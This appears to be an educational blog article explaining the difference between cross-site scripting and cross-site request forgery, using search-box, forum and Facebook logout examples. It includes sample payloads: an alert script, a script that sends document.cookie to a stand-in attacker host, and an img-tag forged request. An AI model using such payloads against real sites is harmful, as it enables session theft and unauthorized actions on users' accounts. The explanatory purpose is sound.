Difference between XSS and CSRF attacks
Two of the most common attacks against websites and web application are XSS (Cross-site Scripting) and CSRF (Cross-Site Request Forgery). Both kind of attacks are exploited regularly and even big companies such as Google and Yahoo have been vulnerable to them. Whereas XSS is more popular and you can find more literature and defense techniques about it, CSRF can also be very harmful. When searching on the web for the difference about the two attacks you often read something like this:
In case of XSS, the victim’s trust for a website is exploited, in case of CSRF, the website’s trust for a victim’s browser is exploited.
That sounds very abstract, so let’s have a more detailed look into how the two attacks work.
How does a XSS attack work?
In case of XSS the attacker makes the victim’s browser execute a script (mostly JavaScript) that has been injected by the attacker while visiting a trusted website. The attacker has several ways of injecting the JavaScript into a website that the victim trusts.
Query parameters
Imagine a website that provides a search box. When you type your search query and press submit, the generated URL may look something like this:
https://example.com/search?query=AlanIn this case a GET request was made with the query parameter “Alan”. The server executing your search request takes the query value from the URL parameter, computes the result and displays the result page as following:
Results for “Alan“:
- … Hey my name is Alan …
- … Alan was born on ….
You can see that the website’s result page is rendered depending on your search query. Now, what if we search for “<script>alert(1)</script>”? The generated search result URL would look like this:
https://example.com/search?query=<script>alert(1)</script>The result page of the website vulnerable to a XSS attack would then probably look like this:
After you click ok you would see the result page:
Results for “”:
no results
This was a prove that whatever you pass as a search query is actually printed as HTML on the result page. That means that an attacker can print his own JavaScript and the browser will execute it.
As a last step, the attacker has to make the victim click on the URL with his malicious script in the URL parameter. This can be achieved by sending an email, or posting the link on a board. As the domain that the victim can see in the URL is well known and trusted, the victim won’t expect any harm behind it. Whereas alert(1) was not harmful to the victim, the attacker could use the victim’s CPU to calculate bitcoins in the browser or could steal the victim’s cookie.
<script>new Image().src="http://attackerurl.com/storecookie?cookie="+document.cookie;</script>
Store script persistently
Besides injecting the script using query parameters, the attacker may also inject the script persistently into a website’s database. Imagine a board that doesn’t validate the user’s input. The attacker registers at the board and makes a post that contains the malicious script. Every user of the board that reads the attacker’s post will become a victim and execute the script.
So summarized, in case of XSS, the attacker tricks the victim into opening a URL the victim trusts but which has been manipulated by the attacker so that the victim’s browser will execute the malicious script when opening the URL.
How does a CSRF attack work?
In case of a CSRF attack, a malicious website tells the victim’s web browser to send a malicious request to an honest site, as if the request was part of the victim’s interaction with the honest website, making use of the existing victim’s context, such as cookies.
So let’s say you are logged in into Facebook. That implies that your web browser obtained the session i.e. the cookie to access your Facebook account. Every time you interact with Facebook, their server checks the cookie you send with the request so they know it’s you.
Let’s assume that when clicking the logout button on Facebook, a GET request is made to the following URL: https://facebook.com/logout. Now you visit the website of an attacker which contains the following HTML-snippet:
<img src="https://facebook.com/logout">This will cause your browser to load the image-URL of the img tag, which comes down to a GET request to https://facebook.com/logout. Your browser will automatically send your session together with the GET-request to Facebook. That means that the attacker was able to log you out. He made a valid request with your user context without you even noticing.
Depending on the vulnerable website, using CSRF attackers can change your credentials or user profile properties. Even Gmail was vulnerable to CSRF as a story from 2007 shows. An attacker was able to get a victim on a malicious website that then send a request to Gmail and changed the victim’s Gmail filter properties. By doing so, the attacker was able to redirect the victim’s emails to his own email account.
Another common attack is to use CSRF to trigger a login initiated by the victim but with the attacker’s credentials. Imagine you are on a malicious website with a HTML-form. When clicking submit, the form makes a POST request to Google with the attackers credentials that are written into the HTML-form. Now the attacker is logged in on Google in the victim’s browser. Google will document all visited websites and browser history which the attacker can get access to later on.
So, both attacks have in common that they are client-side attacks and need some action of the end user, such as clicking on a link or visiting a website. XSS executes a malicious script in your browser, CSRF sends a malicious request on your behalf.
